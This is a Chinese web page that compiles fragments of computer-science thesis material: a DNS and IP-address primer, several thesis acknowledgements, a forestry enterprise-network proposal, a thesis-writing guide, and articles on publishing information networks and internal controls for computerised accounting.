前言:我们精心挑选了数篇优质计算机系毕业论文文章,供您阅读参考。期待这些文章能为您带来启发,助您在写作的道路上更上一层楼。
关键词:域名地址服务器
当前,在经济全球化和全球信息化大潮中,人们不仅重视信息及其集成的作用,而且更加重视信息使用者对信息集成的反应和运用。互联网上的域名已为越来越多的人们所关注,因此,了解域名及其对应的IP地址的关系,正确地配置域名服务器,就成为设立网站、使自己在Internet上注册的域名得到体现的关键。
1.IP地址
IP(InternetProtocol)地址就是网络协议地址,是分配给网络节点的逻辑地址。这些网络节点可以是网络中的任何一台主机,提供节点之间的交换信息服务。由于在Internet网络中存在着大量的节点,为了能够在网上找到这个节点,就必须给予标识。IP地址就是一种标识方法,它独立于任何特定的网络硬件和网络配置,使用TCP/IP协议的网络在发送或接收信息时先把数据打包,然后将目标IP地址翻译成MAC(Medi-umAccessControl)硬件的物理地址,这样就可以把数据包准确地发送或接收过来。
每个IP地址是由4个字节共32位组成,每字节之间使用小数点分隔,一般用十进制数字表示。每个IP地址包括两个标识(ID),即网络ID和宿主机ID,同一个物理网络上的所有主机都用同一个网络ID,而网络上的每个服务器、路由器、计算机等都有一个主机ID。比如202.98.180.194即是云南省科学技术情报研究所的一个WWW服务器的IP地址。
2.因特网域名及结构
由于IP地址全是数字代码,既不直观又难于记忆,因特网在IP地址的基础上,提供了一种面向用户的主机名字,即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)为我所(云南省科学技术情报研究所)的英文缩写。即为我所在因特网上注册的域名,而(主机名+域名)为我所DNS服务器的主机域名,对应的IP地址就是202.98.180.193。
3.域名解析系统DNS(DomainNameSystem)就是提供域名与IP地址相互映射的网络服务。事实上,DNS是遍布于全世界的一个分布式数据库。它主要负责控制整个数据库中的部分段,每一段中的数据通过客户/服务模式在整个网络上均可存取。DNS的数据库结构,同UNIX文件系统(或MSDOS文件系统)的结构很相似,整个数据库(或文件系统)将根放在顶端,画出来就像一颗倒转的树。在DNS中,根的名字以空字符串“”表示,DNS简单地称其为“根”(Root)或偶而称之为“根域”(RootDomain),在UNIX文件系统中,根以反斜杠“/”表示,被称为“根目录”。如图1所示.
图1在DNS和UNIX文件系统中名称的读法
DNS数据库“”
cn
论文致谢一:
在毕业论文完成之际,我心怀感激,感谢我的老师、同学和朋友在我研究生学习和研究生活中的帮助与支持。在这里,首先要向我的导师姚青教授表示最衷心的感谢,姚老师在三年的学习生活中给了我莫大的鼓励与支持。在科研上,姚老师给我们提供了良好的学习科研环境,并以严谨的态度在科研上给予我们指导。
在生活中,姚老师像朋友一样跟我们探讨和分享生活趣事,力所能及的帮助我们。
在撰写毕业论文的过程中,姚老师从选题、研究点探讨和论文写作一直悉心指导,为有这样的导师而感到幸福。
同时,感谢实验室的同学们,特别是陈玉东、周艳红,感谢大家在学习和生活中互相帮助与鼓励,给实验室营造了良好的氛围。感谢我的室友周丹丹、娄新艳同学在生活中给予我的帮助与支持。还要感谢曹六一同学,在技术上给予我的支持与鼓励。
感谢我的家人,正是他们无微不至的关怀与永远的无条件的支持才能是我不断的努力与进步,使我顺利完成学业
最后,感谢在学习和生活中的所有同学、朋友,正是你们的鼓励与陪伴才使得我的研究生生活更加的丰富多彩,祝大家万事顺心如意!
论文致谢二:
首先要感谢我的导师孙宏宇教授。感谢三年来孙老师对我的指导和关怀,使我能如此顺利圆满的完成学业。老师对生活对学术始终保持一颗热血沸腾的心,这颗乐观的心也感染了身旁的我。本篇论文从头至尾都凝聚着老师的心血,在此,想老师致以最衷心的感谢!
感谢学院各位领导及老师这三年来在我的工作、学习和生活中给予的帮助,使我能够在计算机学院这个良好的学习环境和积极进取的氛围中,不断地丰富完善自己,为今后的工作打下良好的基础。
感谢我所有的同学和朋友们,尤其是李文博、周丹丹、许浩然等,他们同我一起度过了一段充实而又难忘的求学时光。在我的研宄课题上,他们为我提出了很多建设性的意见和建议。当我在生活中遇到困难时,他们总是尽其所能地帮助我、鼓励我,给我最大的支持。谢谢他们。
同时,感谢我的父母、我的姐姐,还有其他所有我的亲人。感谢父母的养育,感谢长辈们对我的教诲,感谢亲人们对我学业的支持,感谢他们在我遇到困难时给予我的信心和勇气,没有他们,我不可能走到今天。谢谢!
此外,特别感谢论文答辩委员会的各位专家老师能够在百忙之中审阅我的论文,为我提出宝贵的意见与建议。
最后,再次感谢所有关心、支持和帮助我的老师、亲人和朋友们!
论文致谢三:
紧张和忙碌的论文工作渐入尾声,我的硕士生活也即将过去,回顾这短短的三年华工生活,身边的老师们、同学们、朋友们给以我的帮助和关怀,我在生活和科研上方面取得了长足的进步,获益良多,在此,我要向这些可爱的人表达我对他们最诚挚的谢意。
首先,我要对我们龙门阵敬爱的导师--赵龙文老师表示由衷的感谢。从入学以来,赵老师一直在学习和生活上予以指导,帮助和关怀,在论文研究的较长过程中,我始终找不清方向,赵老师在选题、构思、成稿和完善过程中都悉心地指导,不厌其烦地引导我进行论文的完善,使我进步显着,这每一项工作种都凝聚着赵老师的心血和汗水。赵老师严谨务实的治学态度,渊博的专业知识,敏锐的学术洞察力和忘我的工作精神为我树立了学习的榜样,使我终生受益。赵老师,谢谢您!
感谢电商所有的老师们,你们的传道、授业、解惑,让我从一个对电商毫无认识的学生走向了电商教师的队列,还有特别感谢教务员老师,你们就是我以后榜样!
感谢电商12人小分队,这三年因为有你们陪伴,实验室不再枯燥无味、课堂也充满活力、生活充满惊喜,这些美好的回忆是我人生一大财富。感谢你们在这三年来给予的帮助、安慰和包容。感谢张镇鹏同学对文中数据搜集给予技术支持,感谢陈德美同学对本文修改进行探讨,开阔了研究思路。感谢所有电商姐妹们忍耐我的抱怨和我的挑剔,给予我肯定和支持。
感谢Sevengoddesses的女神们,你们真诚待人、乐观向上的生活态度,乐于助于、不求回报的精神让我很是敬佩,感谢你们给予我这个小妹的宽容和爱护。
感谢我的室友,即使我们性格各异,但仍然互相谦让,相处愉快!
感谢我师弟师妹们,公荣涛、陈明艳和黄跃萍同学,为本文数据获取提供技术支持,在写作期间给予的帮助和探讨。感谢龙门阵所有的师兄师姐们!
当然,也要感谢我的父母,感谢你们这20多年的培育和默默付出,感谢你们给予我想要的一切,无以回报,唯有怀着感恩的心,认真地生活。
最后,衷心感谢在百忙之中前来评审的老师专家们,感谢你们的指导,我会在未来的生活里更加努力。
论文致谢四:
时光荏苒,三年的研究生涯即将结束。回首这三年的点点滴滴,可以说是我收获最多、成长最快的一段时光,也是我人生旅途中最宝贵的一笔财富。
首先,我要感谢我的导师李龙一副教授。非常有幸能够从师李龙一老师,他渊博的学识、严谨务实的治学态度以及诲人不倦的师者风范令我受益匪浅。在论文写作过程中,从选题、思路设计、提纲的确定到论文的修改、定稿等,都得到了李老师的悉心指导与帮助。此外,在生活上,他平易近人,对学生的关心无微不至,他教会了我很多为人处事的道理,让我在生活中有所感悟和收获。在此仅向尊敬的导师表达我最真挚的感谢!
感谢电商专业的其他老师,一方面传授了我许多有用的学术知识,在学习期间给我许多的教益和帮助;另一方面在论文开题、中期报告、预答辩时给予我许多宝贵的建议,使我的论文得以不断完善,也让我认识到研究的严谨性和规范性。感谢你们!
感谢电商专业的其他11位兄弟姐妹,是你们共同陪我度过了3年研究生生涯,大家相互学习,一起成长,给我的生活增添了许多快乐。感谢我亲爱的挚友们,是你们让我的生活丰富多彩,倍感温馨,愿我们的友谊长存!
2:吉林省森工集团信息化发展前景与规划.
3: 吉林省林业设计院网络中心网络改造与发展规划.
4: 吉林省林业系统生态信息高速公路构建课题.
二、论文撰写与设计研究的目的:
吉林省的林业分布十分广泛,以长白山系为主要脉络的山地广泛分布各种森林资源,而作为林业及林业环境的发展,林业生态信息则是一个更为庞大的系统,快捷,准确,合理,系统的采集,处理,分析,存储这些信息是摆在我们面前的十分现实的问题.在信息交流的这个世界中,信息好比货物,我们需要将这些货物(信息)进行合理的处理,其中以硬件为主的计算机网络系统是这些货物(信息)交流的"公路"和"处理厂",我做这个题目,就是要为它画出一条"公路"和若干"处理方法"的蓝图.
由于森工集团这样的特定企业,其一,它是一个统一管理的企业,具有集团化的特点,网络的构建具有统一性.其二,它又在地理上是一个分散的企业,网络点也具有分散性.然而,分散中还具有集中的特点,它的网络系统的设计就应该是板块化的.从信息的角度来讲,信息的种类多,各种信息的采集传输处理角度也不尽相同,我们在设计的过程中不仅要考虑硬件的地域布局,也要考虑软件平台的配合.
没有最好,只有更好;更新观念,大步向前.我相信,在导师的精心指导下,经过我的努力,我将为它们创造出一条平坦,宽阔的"高速公路".
1,论文(设计)研究的对象:
拟订以吉林省林业系统为地理模型,以林业网络综合服务为基本需求,以网络拓扑结构为设计方向,以软件整合为应用方法,开发设计一套完整的基于集散集团企业的企业网络系统.
2,论文(设计)研究预期达到目标:
通过设计,论文的撰写,预期达到网络设计全面化,软件整合合理化,网络性能最优化,资金应用最低化,工程周期最短化的目标.
3,论文(设计)研究的内容:
一),主要问题:
设计解决网络地域规范与现有网络资源的利用和开发.
设计解决集中单位的网络统一部署.
设计解决多类型网络的接口部署.
设计解决分散网络用户的接入问题.
设计解决远程瘦用户网络分散点的性能价格合理化问题.
设计解决具有针对性的输入设备的自动化信息采集问题.
合理部署网络服务中心的网络平衡.
优化网络服务系统,营造合理的网络平台.
网络安全问题.
10,基本应用软件整合问题.
[nextpage]
二),论文(设计)包含的部分:
1,地理模型与网络模型的整合.
2,企业内部集中部门网络设计.
3,企业内部分散单元网络设计——总体分散.
4,企业内部分散单元网络设计——远程结点.
5,企业内部分散单元网络设计——移动结点.
6,企业网络窗口(企业外信息交流)设计.
7,企业网络中心,服务平台的设计.
8,企业网络基本应用软件结构设计.
9,企业网络特定终端接点设计.
10,企业网络整合设计.
5,论文(设计)的实验方法及理由:
由于设计的过程并不是工程的施工过程,在设计过程中详尽的去现场建设肯定有很大的难度,也不是十分可行的,那么我们在设计的阶段就应该进行仿真试验和科学计算.第一步,通过小型网络测试软件平台,第二步,构建多个小型网络搭建全局网络模拟环境,第三步,构建干扰源利用小型网络集总仿真测试.
6,论文(设计)实施安排表:
1.论文(设计)阶段第一周次:相关理论的学习研究,阅读参考文献资料,制订课题研究的实施方案,准备试验用网络硬件和软件形成试验程序表及试验细则.
2.论文(设计)阶段第二周次:开始第一轮实验,进行小型网络构建试验,模拟网络服务中心,模拟区域板块,模拟远程及移动网络.
3.论文(设计)阶段第三周次:进行接口模拟试验,测试软件应用平台,完善课题研究方案.
4.论文(设计)阶段第四周次:完成第一轮实验,提交中期成果(实验报告1).
5.论文(设计)阶段第五周次:进行第二轮实验,模拟环境(干扰仿真)实验,提交实验报告2.
6.论文(设计)阶段第六周次:完成结题报告,形成论文.
三,论文(设计)实施工具及参考资料:
小型网络环境,模拟干扰环境,软件平台.
吴企渊《计算机网络》.
郑纪蛟《计算机网络》.
陈济彪 丹青 等 《计算机局域网与企业网》.
christian huitema 《因特网路由技术》.
[美]othmar kyas 《网络安全技术——风险分析,策略与防火墙》.
其他相关设备,软件的说明书.
1、论文(设计)的创新点:
努力实现网络资源的全面应用,摆脱将单纯的网络硬件设计为企业网络设计的模式,大胆实践将软件部署与硬件设计阶段相整合的网络设计方法.
题目可行性说明及预期成果:
自考计算机专业毕业论文怎么写呢?有没有什么写作技巧呢?本篇就是向大家介绍了自考计算机专业毕业论文写作技巧,记得关注学术参考网查看更多的论文写作方法,欢迎大家阅读借鉴。
写作流程
自考计算机专业毕业论文有1年准备时间,写作时间的分配主要取决于考生软件开发的进度,如果考生开发的软件很成熟,那末后续的写作时间就较快,否则后面的写作就会很被动。例如,一般会在每年7月份登记,9月底开题,期间开发软件,到第二年2、3月就要完成初稿,再留一个月修改。
1、选题。选题首先要重要、有意义。例如有的考生选择设计木马程序,其本身是个病毒程序,这样的程序只能带来危害,实际生活中没有意义,就不能用于做毕业论文。
2、开发软件。开发软件要与实际相结合。实际性非常重要,要自己能开发一个能实际运行的软件。有的考生自己并没有参与实际工作,只是看书是不行的。自己参与的可以是一个大的项目或课题组,论文中介绍完大的系统后,一定要把自己的工作量写清楚。
3、写论文。开发完就可以写论文了,论文是个总结,但是不要写成工作总结,一定要有主题,应体现自己的开发思想和论述自考本科计算机专业毕业论文写作指南自考本科计算机专业毕业论文写作指南。写论文要达到一定字数,一般要3万字。其中,编程代码一般为2-3千行,这个不是机器自动生成的代码,一定是自己写的源代码。
论文结构
计算机专业毕业论文一般有8个部分。1、概述或引言。这个部分相当于大纲,一般要求4-5千字,主要是对软件开发背景,使用的软件工具、环境,最后达到的效果,自我在里面的贡献等;2、需求分析。软件有哪些功能、模块,用的什么工具等;3、设计方案和主要技术自考本科计算机专业毕业论文写作指南文章自考本科计算机专业毕业论文写作指南出自http://gkstk.com/article/wk-78500001321796.html,转载请保留此链接!。主要是对里面每一部分的详细论述,使用的是什么技术,为什么使用。详细的模块分析或遇到的难点是怎样解决的等;4、具体的实现过程;5、测试。介绍自己开发软件实际达到的效果;6、总结。介绍自己开发软件的体会,或自己开发的成果使用情况,有什么评价,自己还有哪些不足,有什么需要改进的地方;7、致谢;8、参考文献。另外,还可以加一个“附录”部分。正文只能有一个中心,其他有重要参考价值的都可以放在附录部分。例如有重要的代码、图表,涉及其他领域的知识,需要解释的等都可以放在附录部分。
案例1:《家装工程预算软件的开放》1、概述;2、需求分析;3、总体设计;4、数据库设计;5、软件功能的实现;6、结论及改进;7、致谢;8、参考文献。
案例2:《经纬中天无线短信增值服务管理软件的设计和开放》1、引言;2、需求分析;3、设计方案论证和主要技术介绍;4、系统设计;5、编码实现;6、实际运行中出现的问题及相应的解决方案;7、结束语;8、致谢;9、参考文献。
答辩程序
答辩现场会有专业老师组成的答辩小组,一般为5人左右,学生抽签分配答辩组。答辩现场要考生做介绍和演示。考生需要提前准备幻灯片,一般不超过20张,为论文最核心部分的内容自考本科计算机专业毕业论文写作指南论文
WiseMedia
考生结合幻灯片介绍论文,答辩小组老师会根据考生论文提出问题,考生要实事求是回答,最后答辩小组老师打分,求平均分给出考生论文成绩。大部分考生都会达到优、良,个别考生没有通过论文,主要有两方面原因:1、论文并不是自己真正所做,用别人的软件为自己所用,老师一提问就能发现破绽;2、考生论得太简单,达不到工作量。这就需要考生踏踏实实地按照要求去作论文。
零碎提醒
论文的题目不要太大,一定要具体、实际,不能吹成通用的;
自考生考过全部课程后,最好能寻求实践机会。可以去应聘公司,真正参与一个项目,一边工作一边写论文;
论文不要上网抄,一定要自己做;
引用资料要有脚注;
一、出版信息管理——出版工作的基础
出版信息是出版工作有关信息的总称,它是出版行为的客观表征。从这个意义上讲,只要存在着出版活动,哪怕是最基本、最具体的生产经营活动,就必然伴生出相关的出版信息。由此看来,出版信息实在是太广泛、太庞杂了。尽管我们无意于追求事无巨细的信息管理策略,但认识到出版信息的这一特征,对于正确理解出版信息管理的完整内涵则是有益的。
随着出版事业的发展,出版工作与出版信息的关系日益密切。如制定选题计划,如果没有图书市场需求信息,没有作者的有关信息,甚至没有同行出版情况信息,就会无所适从。这仅仅是人所尽知的一个方面。事实上,出版工作对出版信息的依赖是全方位的,出版信息关系出版活动的全过程,成为出版社经营管理的手段。面对浩瀚的出版信息,其管理被突出地提高到一个前所未有的高度。只有对出版信息进行科学的管理,广泛收集,赋之以便捷查询利用的形式,才能有效地加以使用。
出版信息无处不在,无时不有,给信息管理带来莫大的难度,为便于对出版信息有一个明晰的认识,我们可选取某种标准,划分出其主要种类。依照信息的直观内容形式它包括选题及作者信息、原稿和成型图书特征信息、印制信息、销售信息、市场信息、宣传信息、管理信息、过程动态信息、财务信息等。其中每一部分都代表着一簇同类信息的集合。另外一种划分出版信息的方法是根据出版社内部分工情况,信息的直接
使用者来进行粗线条的归类,如可分为编务信息、出版信息、发行信息、社务管理信息、财务信息等。这种作法的好处是将信息的主要使用者和管理者结合在一起。它实际上已成为信息管理网络设计的基本思路。
出版信息经历了手工管理阶段、计算机管理阶段,目前正处在向网络化管理的过渡时期。
计算机网络是计算机技术与现代通讯技术相结合的产物,它通过数字通信线路将若干单独的计算机和外部设备相互连接,从而实现计算机之间的相互通信,软、硬件资源共享。出版信息管理网络化开辟了出版信息管理的新纪元。出版信息网络不同于“国际互联网络”(INTERNET),也不同于“中国教育和科研计算机网”(CERNET)或者“中国公互联网”(CHINANET)等广域计算机网络,它是一种局域网络,用于出版社内部信息资
源管理。众所周知,出版社各个部门之间是相互关联的,有物的流动,更多的是信息的流动,各自为政的计算机信息管理显然无法胜任现代化生产管理的要求。只有实现网络化,才能从根本上解决信息交流和利用障碍问题。换言之,网络化是出版信息管理的必由之路。
二、出版信息网络的构成及其信息内涵分析
构建出版信息网络应以对信息资源的合理布局为前提,从出版社内部机构设置出发规划信息管理网络结构。出版信息源于出版活动,出版社所属各个分支部门既是相应信息产生的源头,又是相关信息的主要使用者和管理者。出版行为和出版信息的依存关系,决定了出版管理网络与出版信息网络的重叠,两者是不可分离的。
出版社一般有编辑、出版(含装帧、校对)、发行、财务以及办公室等部门,在社长及其班子统一领导下,各部门相互联系同时又有相对独立的职能范围。因此,应以这些部门作为主干网点,组成出版信息管理网络系统。出版信息网络主要包括编务信息管理网点、生产信息管理网点、发行信息管理网点、财务信息管理网点、社务信息管理网点等。需要说明的是,这是一个基本的骨干网络结构,根据情况不同,各出版社还可补充其他特定部门的网点。这五大网点的信息内容主要是:
编务信息管理网点承担对与编辑活动有关的编务信息管理工作。这些信息包括作者信息、选题信息、出版合同信息、对外合作项目信息、发稿信息、稿酬发放信息、图书评奖信息、图书宣传信息、编辑劳动核算和付酬信息以及各种申报报表信息等。生产信息管理网点主要是围绕编辑部门发稿开始到完成图书产品这一生产过程开展信息管理的。该网点需要处理的信息有:封面装帧及版式设计信息、校样周转信息、付
印安排信息、生产周期执行情况信息、样书检查验收信息、版型管理信息、成本核算信
息、图书承印厂信息、印制员工作量信息、材料购置及发放信息等。
发行信息管理网点需要处理的信息有客户信息、市场需求信息、图书销售信息、销
售款回收信息、备货管理信息、发货进度信息、图书报废信息以及门市销售、邮购业务
信息等。
财务管理信息网点处理的信息量较大,涉及到财务管理、预决算规划,还要负责各
部门与财务有关的资金运营情况,包括成本信息、帐务信息、工资信息、税务信息以及
所有收、支款信息等。
社务信息管理网点主要有文件管理信息、员工档案信息、固定资产添置和使用情况
信息、会议信息、资料室信息等。
作为一种局域计算机信息网络,出版信息网络的拓朴结构可分为星型、环型、分布
式总线型几种类型。鉴于出版工作的特点,其中以分布总线型结构较为适宜。它采用分
散控制方法,不设中央控制结点,网络中任何一个发送信息的传送器都可以承担网络控
制功能。我国出版企业大多规模较小,需要处理的信息种类相对单一,信息量不是很大
,因此出版信息网络多为由若干微机组成的小型网络,其系统在局域网中属低档系统,
是一种较简单、灵活的网络。
三、出版信息网络的特征及其强大功能
出版信息网络最鲜明的特征在于充分实现了出版资源,尤其是出版信息资源的共享
。网络中的每一台计算机是一个工作站,它们各自独立执行自己的应用程序。但网络不
是计算机的简单相加,它们的联接使资源得以合理配置和共享。同时出版信息避免了相
同信息在多处重复著录、输入与存贮现象的发生,大大节省了信息存贮空间,减轻了工
作强度,提高了劳动效率。
一个网络成员使用其他成员的信息就如同自己的数据库一样方便。若编辑需要了解
某书的销售情况,他无须再去发行部门询问;若他需要了解自己发出的稿子在各个环节
的运行情况时,只要在自己的计算机上便可一目了然。但网络成员并非是可以对其他成
员的信息无所不能及的,对一些不能“共享”的信息,每个成员都可通过网络限制其他
用户的查询,这是网络具有的良好保密性的一面。
出版信息网络还可方便地与外域联网,这为出版业面向社会,走向世界创造了十分
内部控制关系到企业财产物资的安全完整、关系到会计系统对企业经济活动反映的正确性和可靠性。企业为实现既定的管理目标,必需建立起了一整套内部控制制度,以保证企业有序、健康地发展。企业在建立了电算化会计系统后,企业会计核算和会计管理的环境发生了很大的变化。由于使用了计算机,会计数据处理的速度加快了,会计核算的准确性和可靠性得到了极大的提高,减少了因疏忽大意及计算失误造成的差错。但是,也为企业的内部控制带来了许多前所未有的新问题,对企业内部控制制度造成了极大的冲击,使企业内部控制制度在新的环境下显得落后于形势了,由于电算化会计系统的特殊性,建立一整套适合电算化会计系统的内部控制制度就显得尤为重要。
电算化会计系统对内部控制的特殊要求主要体现在以下几方面:
1.计算机的使用改变了企业会计核算的环境
企业使用计算机处理会计和财务数据后,企业的会计核算的环境发生了很大的变化,会计部门的组成人员从原来由财务、会计专业人员组成,转变为由财务、会计专业人员和计算机数据处理系统的管理人员及计算机专家组成。会计部门不仅利用计算机完成基本的会计业务,还能利用计算机完成各种原先没有的或由其他部门完成的更为复杂的业务活动,如销售预测、人力资源规划等。随着远程通讯技术的发展,会计信息的网上实时处理成为可能,业务事项可以在远离企业的某个终端机上瞬间完成数据处理工作,原先应由会计人员处理的有关业务事项,现在可能由其他业务人员在终端机上一次完成;原先应由几个部门按预定的步骤完成的业务事项,现在可能集中在一个部门甚至一个人完成。因此,要保证企业财产物资的安全完整、保证会计系统对企业经济活动反映的正确和可靠、达到企业管理的目标,企业内部控制制度的建立和完善就显得更为重要,内部控制制度的范围和控制程序较之手工会计系统更加广泛,更加复杂。
2.电算化会计系统改变了会计凭证的形式
在电算化会计系统中,会计和财务的业务处理方法和处理程序发生了很大的变化,各类会计凭证和报表的生成方式、会计信息的储存方式和储存媒介也发生了很大的变化。原先反映会计和财务处理过程的各种原始凭证、记帐凭证、汇总表、分配表、工作底稿等作为基本会计资料的书面形式的资料减少了,有些甚至消失了。由于电子商务、网上交易、无纸化交易等的推行,每一项交易发生时,有关该项交易的有关信息由业务人员直接输入计算机,并由计算机自动记录,原先使用的每项交易必备的各种凭证、单据被部分地取消了,原来在核算过程中进行的各种必要的核对、审核等工作有相当一部分变为由计算机自动完成了。原来书面形式的各类会计凭证转变为以文件、记录形式储存在磁性介质上,因此,电算化会计系统的内部控制与手工会计系统的内部控制制度有着很大的不同,控制的重点由对人的控制为主转变为对人、机控制为主的,控制的程序也应当与计算机处理程序相一致。
3.计算机的使用提高了控制舞弊、犯罪的难度
随着计算机使用范围的扩大,利用计算机进行的贪污、舞弊、诈骗等犯罪活动也有所增加,由于储存在计算机磁性媒介上的数据容易被篡改,有时甚至能不留痕迹地篡改,数据库技术的提高使数据高度集中,未经授权的人员有可能通过计算机和网络浏览全部数据文件,复制、伪造、销毁企业重要的数据。计算机犯罪具有很大的隐蔽性和危害性,发现计算机舞弊和犯罪的难度较之手工会计系统更大,计算机舞弊和犯罪造成的危害和损失可能比手工会计系统更大,因此,电算化会计系统的内部控制不仅难度大、复杂,而且还要有各种控制的计算机技术手段。
由此可见,计算机会计系统的内部控制制度与手工会计系统的内部控制制度相比较,计算机会计系统的内部控制是范围大、控制程序复杂的综合性控制,是控制的重点为职能部门和计算机数据处理部门并重的全面控制,是人工控制和计算机自动控制相结合的多方位控制。
随着计算机在会计工作中的普遍应用,管理部门对由计算机产生的各种数据、报表等会计信息的依赖越来越大,这些会计信息的产生只有在严格的控制下,才能保证其可靠性和准确性。同时也只有在严格的控制下,才能预防和减少计算机犯罪的可能性。
计算机会计系统的内部控制制度,从计算机会计系统的建立和运行过程来看,可分为对系统开发和实施的系统发展控制、对计算机会计系统各个部门的管理控制、对计算机会计系统日常运行过程的日常控制。
一、系统开发、发展控制
计算机会计系统的系统开发、发展控制包括开发前的可行性研究、资本预算、经济效益评估等工作,开发过程中系统分析、系统设计、系统实施等工作,以及对现有系统的评估、企业发展需求,系统更新的可行性研究,更新方案的决策等工作。系统开发、发展控制的主要内容一般包括以下几方面。
(一)授权和领导认可
计算机会计系统的开发和发展必需经过有关领导的认可和授权,这关系到系统开发、发展、更新等项目的成败。计算机会计系统的开发项目一般投资金额都比较大,对企业整体管理目标的影响也比较大,往往需要对原有的管理体制进行较大的改革,是牵一发动全身的重大举措,因此必需得到授权和领导认可。计算机会计系统的发展和更新是对原有计算机会计系统进行重大改进,同样对会对企业管理体制造成较大的影响,同时对现有计算机会计系统的任何改动都可能危及整个系统的安全可靠,因此也必需得到授权和领导认可。而且领导的授权和认可也有利于保证系统开发和发展的物资和资金的需要。
(二)符合标准和规范
计算机会计系统的开发和发展项目,不论是自行组织开发还是购买商品化软件,都必需遵循国家有关机关和部门制订的标准和规范。其中包括符合标准和规范的开发和审批过程、合格的开发人员或软件制造商、系统的文件资料和流程图、系统各功能模块的设计等等。目前我国已经颁布的有关国家标准和规范主要由财政部1994年颁布执行的《会计电算化管理办法》、《会计核算软件基本功能规范》、《会计电算化工作规范》、《商品化会计核算软件评审规则》等,各地也颁布各种地方标准,如上海市财政局颁布的《上海市会计电算化实施办法》等地方性标准。按标准和规范开发和发展计算机会计系统可以使企业计算机会计系统更加可靠、更加完善,有利于对系统的维护和进一步的发展、更新。
(三)人员培训
计算机会计系统应在开发阶段就要对使用该系统的有关人员进行培训,提高这些人员对系统的认识和理解,以减少系统运行后出错的可能性。外购的商品化软件应要求软件制作公司提供足够的培训机会和时间。在系统运行前对有关人员进行的培训,不仅仅是系统的操作培训,还应包括让这些人员了解系统投入运行后新的内部控制制度、计算机会计系统运行后的新的凭证流转程序、计算机会计系统提供的高质量的会计信息的进一步利用和分析的前景等等。
(四)系统转换
新的计算机会计系统在投入使用,替换原有的手工会计系统或旧的计算机会计系统,必需经过一定的转换程序。企业应在系统转换之际,采取有效的控制手段,作好各项转换的准备工作,如旧系统的结算、汇总,人员的重新配置、新系统需要的初始数据的安全导入等。新的计算机会计系统是否优于旧系统,还需要进一步接受实践的检验,因企业的具体情况不同,新的计算机会计系统不一定比旧的计算机会计系统更适合企业的经营特点,甚至购买或自行开发的计算机会计系统还不如手工会计系统更适合企业的经营特点。因此企业在系统转换之际,采用新旧系统并行运行一段时间,以便检验新的计算机会计系统。并行运行的时间一般至少为三个月。
(五)程序修改控制
企业经营活动变化及经营环境变化,可能导致使用中的软件进行修改,计算机会计系统经过一段时期的使用也会发现一些需要进行修改的地方,因此,软件的修改是难以避免的。对会计软件进行修改必须经过周密计划和严格记录,修改过程的每一个环节都必须设置必要的控制,修改的原因和性质应有书面形式的报告,经批准后才能实施修改,计算机会计系统的操作人员不能参与软件的修改,所有与软件修改有关的记录都应该打印后存档。
二、管理控制
管理控制是指企业建立起一整套内部控制制度,以加强和完善对计算机会计系统涉及的各个部门和人员的管理和控制。管理控制包括组织机构的设置、责任划分、上机管理、档案管理、设备管理等等。
(一)组织机构设置
企业实现了会计电算化后,应对原有的组织机构进行适当的调整,以适应计算机会计系统的要求。企业可以按会计数据的不同形态,划分为数据收集输入组、数据处理组和会计信息分析组等组室;也可以按会计岗位和工作职责划分为计算机会计主管、软件操作、审核记帐、电算维护、电算审查、数据分析等岗位。组织机构的设置必须适合企业的实际规模,符合企业总体经营目标,并且,应按精简、合理的原则对组织机构的设置进行成本效益分析。
(二)职责划分
内部控制的关键之点就在于不相容职务的分离,计算机会计系统与手工会计系统一样,对每一项可能引起舞弊或欺诈的经济业务,都不能由一个人或一个部门经手到底,必须分别由几个人或几个部门承担。在计算机会计系统中,不相容的职务主要有系统开发、发展的职务与系统操作的职务;数据维护管理职务与电算审核职务;数据录入职务与审核记帐职务;系统操作的职务与系统档案管理职务等。企业为防止舞弊或欺诈,应建立一整套符合职责划分原则的内部控制制度,同时,还应建立起职务轮换制度。
(三)上机管理
企业用于计算机会计系统的计算机应尽可能是专用的,企业应对计算机的使用建立一整套管理制度,以保证每一个工作人员和每一台计算机都只做其应该做的事情。一般来讲,企业对用于计算机会计系统的计算机的上机管理措施应包括轮流值班制度、上机记录制度、完善的操作手册、上机时间安排等,此外,会计软件也应该有完备的操作日志文件。
(四)档案管理
计算机会计系统有关的资料应及时存档,企业应建立起完善的档案制度,加强档案管理。一个合理完善的档案管理制度一般有合格的档案管理人员、完善的资料借用和归还手续、完善的标签和索引方法、安全可靠的档案保管设备等。除此之外,还应定期对所有档案进行备份的措施,并保管好这些备份。为防止档案被破坏,企业应制订出一旦档案被破坏的事件发生时的应急措施和恢复手段。企业使用的会计软件也应具有强制备份的功能和一旦系统崩溃等及时恢复到最近状态的功能。
(五)设备管理
对于用于计算机会计系统的各种硬件设备,应当建立一套完备的管理制度以保证设备的完好,保证设备能够正常运行。硬件设备的管理包括对设备所处的环境进行的温度、湿度、防火、防雷击、防静电等的控制,也包括对人文环境的控制,如防止无关人员进入计算机工作区域、防止设备被盗、防止设备用于其他方面等。
三、日常控制
日常控制是指企业计算机会计系统运行过程中的经常性控制。日常控制包括经济业务发生控制、数据输入控制、数据通讯控制、数据处理控制、数据输出控制和数据储存控制等。
(一)业务发生控制
业务发生控制又称"程序检查",主要目的是采用相应的控制程序,甄别、拒纳各种无效的、不合理的及不完整的经济业务。在经济业务发生是,通过计算机的控制程序,对业务发生的合理性、合法性和完整性进行检查和控制,如表示业务发生的有关字符、代码等是否有效,操作口令是否准确,经济业务是否超出了合理的数量、价格等的变动范围。企业还应建立有效的控制制度以保证计算机的控制程序能正常运行。
(二)数据输入控制
由于计算机处理数据的能力很强,处理速度非常快,如果输入的数据不准确,处理结果就会出现差错,在数据输入时如果存在哪怕是很小的错误数据,一旦输入计算机就可能导致错误的扩大化,影响整个计算机会计系统的正常运行。因此,企业应该建立起一整套内部控制制度以便对输入的数据进行严格的控制,保证数据输入的准确性。数据输入控制首先要求输入的数据应经过必要的授权,并经有关的内部控制部门检查;其次,应采用各种技术手段对输入数据的准确性进行校验,如总数控制校验、平衡校验、数据类型校验、重复输入校验等。
(三)数据通讯控制
数据通讯控制是企业为了防止数据在传输过程中发生错误、丢失、泄密等事故的发生而采取的内部控制措施。企业应该采用各种技术手段以保证数据在传输过程中的准确、安全、可靠。如将大量的经济业务划分成小批量传输,数据传输时应顺序编码,传输时要有发送和接收的标识,收到被传输的数据时要有肯定确认的信息反馈,每批数据传输时要有时间、日期记号等等。
(四)数据处理控制
